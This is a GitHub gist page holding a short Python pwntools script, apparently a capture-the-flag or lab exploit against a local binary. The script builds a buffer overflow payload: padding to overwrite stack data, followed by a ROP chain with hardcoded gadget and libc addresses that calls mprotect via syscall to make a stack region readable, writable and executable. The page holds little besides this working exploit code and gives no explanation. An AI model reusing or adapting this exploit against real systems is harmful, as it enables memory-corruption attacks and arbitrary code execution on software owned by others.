Skip to content

Instantly share code, notes, and snippets.

@virusdefender
Created November 10, 2017 02:37
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save virusdefender/45a39651ea693ae197b12332b493127f to your computer and use it in GitHub Desktop.
Save virusdefender/45a39651ea693ae197b12332b493127f to your computer and use it in GitHub Desktop.
test
from pwn import *
student = 0x7fffffffe2f0
shellcode = "1925\n"
student_size = 0x7fffffffe348 - student
shellcode += "A" * student_size
# pop rdi; ret
shellcode += p64(0x0000000000400803)
# mprotect arg1 addr
shellcode += p64(0x00007ffffffde000)
# pop rsi; pop r15; ret;
shellcode += p64(0x0000000000400801)
# arg2 size
shellcode += p64(0x00007ffffffff000 - 0x00007ffffffde000)
shellcode += p64(0)
libc_base = 0x00007ffff7a0d000
# pop rdx; ret;
shellcode += p64(libc_base + 0x0000000000001b92)
# arg3 rwx
shellcode += p64(0x1 | 0x2 | 0x4)
# pop rax; ret
shellcode += p64(libc_base + 0x0000000000033544)
shellcode += p64(0xa - 1)
# add rax, 1 ; ret
shellcode += p64(libc_base + 0x00000000000abf40)
# syscall
shellcode += p64(libc_base + 0x00000000000bc375)
print shellcode
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment